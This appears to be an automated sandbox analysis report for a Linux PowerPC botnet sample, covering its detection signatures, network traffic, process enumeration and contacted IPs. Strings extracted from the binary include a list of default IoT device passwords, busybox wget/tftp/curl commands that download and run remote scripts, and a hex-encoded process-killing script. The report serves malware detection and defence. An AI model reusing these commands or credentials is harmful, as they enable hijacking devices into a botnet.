Linux Analysis Report
la.bot.powerpc.elf

Overview

General Information

Sample name: la.bot.powerpc.elf
Analysis ID: 1544352
MD5: f4a812093e70aa3205b02391bbf8c98b
SHA1: 43d00efb3d7fb5d071ab50171a37af4a625b4ca3
SHA256: f0cc28bd6b17863be62ea75e49879a7d0deba530f987598a608d8b0a3a63dbc3
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Uses known network protocols on non-standard ports
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: la.bot.powerpc.elf ReversingLabs: Detection: 28%
Found strings indicative of a multi-platform dropper
Source: la.bot.powerpc.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.powerpc.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//fd/mountinfo/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/
Source: la.bot.powerpc.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 103.253.147.242 ports 2,3,6,7,8,32876
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 59704
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:51094 -> 103.253.147.242:32876
Sample listens on a socket
Source: /tmp/la.bot.powerpc.elf (PID: 6237) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 88.27.167.110
Source: unknown TCP traffic detected without corresponding DNS query: 88.27.167.110
Source: unknown TCP traffic detected without corresponding DNS query: 6.214.141.99
Source: unknown TCP traffic detected without corresponding DNS query: 6.214.141.99
Source: unknown TCP traffic detected without corresponding DNS query: 176.105.137.203
Source: unknown TCP traffic detected without corresponding DNS query: 176.105.137.203
Source: unknown TCP traffic detected without corresponding DNS query: 21.41.188.219
Source: unknown TCP traffic detected without corresponding DNS query: 81.248.9.149
Source: unknown TCP traffic detected without corresponding DNS query: 21.41.188.219
Source: unknown TCP traffic detected without corresponding DNS query: 81.248.9.149
Source: unknown TCP traffic detected without corresponding DNS query: 75.95.219.15
Source: unknown TCP traffic detected without corresponding DNS query: 31.11.49.26
Source: unknown TCP traffic detected without corresponding DNS query: 75.95.219.15
Source: unknown TCP traffic detected without corresponding DNS query: 97.137.24.169
Source: unknown TCP traffic detected without corresponding DNS query: 31.11.49.26
Source: unknown TCP traffic detected without corresponding DNS query: 188.227.43.53
Source: unknown TCP traffic detected without corresponding DNS query: 97.137.24.169
Source: unknown TCP traffic detected without corresponding DNS query: 32.153.107.129
Source: unknown TCP traffic detected without corresponding DNS query: 188.227.43.53
Source: unknown TCP traffic detected without corresponding DNS query: 181.68.30.137
Source: unknown TCP traffic detected without corresponding DNS query: 32.153.107.129
Source: unknown TCP traffic detected without corresponding DNS query: 80.177.199.154
Source: unknown TCP traffic detected without corresponding DNS query: 181.68.30.137
Source: unknown TCP traffic detected without corresponding DNS query: 170.117.229.205
Source: unknown TCP traffic detected without corresponding DNS query: 80.177.199.154
Source: unknown TCP traffic detected without corresponding DNS query: 137.231.184.167
Source: unknown TCP traffic detected without corresponding DNS query: 170.117.229.205
Source: unknown TCP traffic detected without corresponding DNS query: 71.95.106.126
Source: unknown TCP traffic detected without corresponding DNS query: 137.231.184.167
Source: unknown TCP traffic detected without corresponding DNS query: 45.119.19.182
Source: unknown TCP traffic detected without corresponding DNS query: 71.95.106.126
Source: unknown TCP traffic detected without corresponding DNS query: 133.173.122.191
Source: unknown TCP traffic detected without corresponding DNS query: 45.119.19.182
Source: unknown TCP traffic detected without corresponding DNS query: 162.6.14.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.52.25.145
Source: unknown TCP traffic detected without corresponding DNS query: 133.173.122.191
Source: unknown TCP traffic detected without corresponding DNS query: 88.121.144.253
Source: unknown TCP traffic detected without corresponding DNS query: 162.6.14.66
Source: unknown TCP traffic detected without corresponding DNS query: 44.78.94.250
Source: unknown TCP traffic detected without corresponding DNS query: 185.52.25.145
Source: unknown TCP traffic detected without corresponding DNS query: 88.121.144.253
Source: unknown TCP traffic detected without corresponding DNS query: 85.185.245.1
Source: unknown TCP traffic detected without corresponding DNS query: 44.78.94.250
Source: unknown TCP traffic detected without corresponding DNS query: 42.131.180.218
Source: unknown TCP traffic detected without corresponding DNS query: 85.185.245.1
Source: unknown TCP traffic detected without corresponding DNS query: 40.41.32.106
Source: unknown TCP traffic detected without corresponding DNS query: 42.131.180.218
Source: unknown TCP traffic detected without corresponding DNS query: 37.23.162.203
Source: unknown TCP traffic detected without corresponding DNS query: 40.41.32.106
Source: global traffic DNS traffic detected: DNS query: 75cents.libre
Source: la.bot.powerpc.elf String found in binary or memory: http:///curl.sh
Source: la.bot.powerpc.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: (usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.powerpc.elf (PID: 6239) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal56.troj.linELF@0/0@1/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/82/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6239) File opened: /proc/83/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 59704
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.powerpc.elf (PID: 6237) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.powerpc.elf, 6237.1.00007ffe362ff000.00007ffe36320000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-ppc/tmp/la.bot.powerpc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.powerpc.elf
Source: la.bot.powerpc.elf, 6237.1.000055a04aaf4000.000055a04aba4000.rw-.sdmp Binary or memory string: !/etc/qemu-binfmt/ppc1
Source: la.bot.powerpc.elf, 6237.1.000055a04aaf4000.000055a04aba4000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/ppc
Source: la.bot.powerpc.elf, 6237.1.00007ffe362ff000.00007ffe36320000.rw-.sdmp Binary or memory string: /usr/bin/qemu-ppc

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
147.160.238.181
 unknown United States
22353 TAYLOR-LINK1US false
78.28.39.253
 unknown Poland
44914 PETRUS-CH-ASPL false
135.178.212.148
 unknown United States
14962 NCR-252US false
205.245.84.56
 unknown United States
7018 ATT-INTERNET4US false
138.168.144.39
 unknown United States
637 DNIC-ASBLK-00616-00665US false
191.254.84.153
 unknown Brazil
27699 TELEFONICABRASILSABR false
205.148.230.92
 unknown United States
394417 AS-SONJUS false
98.100.250.137
 unknown United States
10796 TWC-10796-MIDWESTUS false
6.212.149.2
 unknown United States
3356 LEVEL3US false
3.243.85.196
 unknown United States
14618 AMAZON-AESUS false
208.229.222.103
 unknown United States
4208 THE-ISERV-COMPANYUS false
210.34.116.57
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
121.16.42.236
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
130.30.41.242
 unknown United States
367 DNIC-ASBLK-00306-00371US false
112.31.3.231
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
111.102.24.77
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
199.83.171.210
 unknown United States
15040 UNASSIGNED false
134.61.133.234
 unknown Germany
47610 RWTH-ASDE false
168.99.61.191
 unknown United States
10506 EVERGREENPSUS false
126.243.135.174
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
180.51.46.100
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
198.146.188.43
 unknown United States
19956 TENNESSEE-NETUS false
16.147.91.106
 unknown United States
unknown unknown false
95.228.129.2
 unknown Italy
3269 ASN-IBSNAZIT false
62.45.206.92
 unknown Netherlands
15435 KABELFOONDELTAFiberNederlandNL false
142.66.155.16
 unknown Canada
11257 UNIVERSITY-LETHBRIDGECA false
82.239.194.117
 unknown France
12322 PROXADFR false
22.136.177.221
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
142.73.156.188
 unknown Canada
3848 WORLDLINX-2CA false
84.13.252.24
 unknown United Kingdom
13285 OPALTELECOM-ASTalkTalkCommunicationsLimitedGB false
182.24.211.162
 unknown Indonesia
4795 INDOSATM2-IDINDOSATM2ASNID false
66.252.169.131
 unknown United States
25606 CPVCOMUS false
18.159.175.179
 unknown United States
16509 AMAZON-02US false
116.204.104.70
 unknown China
4766 KIXS-AS-KRKoreaTelecomKR false
200.97.14.146
 unknown Brazil
7738 TelemarNorteLesteSABR false
70.100.168.200
 unknown United States
5650 FRONTIER-FRTRUS false
163.60.112.19
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
93.103.3.122
 unknown Slovenia
34779 T-2-ASASsetpropagatedbyT-2dooSI false
140.148.11.31
 unknown Mexico
1840 UniversidaddeLasAmericas-PueblaMX false
164.232.222.148
 unknown United States
3303 SWISSCOMSwisscomSwitzerlandLtdCH false
114.144.127.215
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
71.247.125.193
 unknown United States
701 UUNETUS false
34.46.61.36
 unknown United States
2686 ATGS-MMD-ASUS false
76.48.189.204
 unknown United States
18494 CENTURYLINK-LEGACY-EMBARQ-WRBGUS false
171.6.137.88
 unknown Thailand
45758 TRIPLETNET-AS-APTripleTInternetTripleTBroadbandTH false
164.73.46.255
 unknown Uruguay
1797 UruguayUY false
47.146.52.81
 unknown United States
5650 FRONTIER-FRTRUS false
145.101.160.163
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
29.201.135.12
 unknown United States
7922 COMCAST-7922US false
214.73.239.17
 unknown United States
27064 DNIC-ASBLK-27032-27159US false
139.199.180.83
 unknown China
45090 CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa false
71.224.37.62
 unknown United States
7922 COMCAST-7922US false
60.14.86.57
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
4.233.1.201
 unknown United States
3356 LEVEL3US false
181.172.112.110
 unknown Chile
27680 TELEFONICAMOVILDECHILESACL false
83.40.231.13
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
202.57.103.134
 unknown Philippines
7629 EPLDT-AS-AP5FLVLocsinBldgPH false
60.124.156.56
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
166.55.69.158
 unknown United States
22423 ALTIMA-TELECOMCA false
64.255.153.221
 unknown United States
14090 NDTELCOUS false
103.193.77.232
 unknown India
18229 CTRLS-AS-INCtrlSDatacentersLtdIN false
162.25.156.84
 unknown Austria
197636 BAGIS-ASAS1764NextLayerAT false
75.198.236.111
 unknown United States
22394 CELLCOUS false
75.229.229.180
 unknown United States
22394 CELLCOUS false
4.192.24.184
 unknown United States
3356 LEVEL3US false
27.119.223.110
 unknown Korea Republic of
17864 TBROAD_HANVIT-AS-KRTBROADHANVITBROADCASTINGCOLTDKR false
54.97.116.108
 unknown United States
16509 AMAZON-02US false
84.60.106.166
 unknown Germany
3209 VODANETInternationalIP-BackboneofVodafoneDE false
71.29.9.51
 unknown United States
7029 WINDSTREAMUS false
186.44.172.20
 unknown Trinidad and Tobago
5639 TelecommunicationServicesofTrinidadandTobagoTT false
91.209.190.225
 unknown Denmark
198452 KONFORM-ASDK false
62.117.130.249
 unknown Spain
12430 VODAFONE_ESES false
122.44.229.234
 unknown Korea Republic of
17858 POWERVIS-AS-KRLGPOWERCOMMKR false
119.1.145.176
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
198.0.104.116
 unknown United States
7922 COMCAST-7922US false
156.194.41.149
 unknown Egypt
8452 TE-ASTE-ASEG false
152.242.183.186
 unknown Brazil
26599 TELEFONICABRASILSABR false
188.231.52.148
 unknown Kuwait
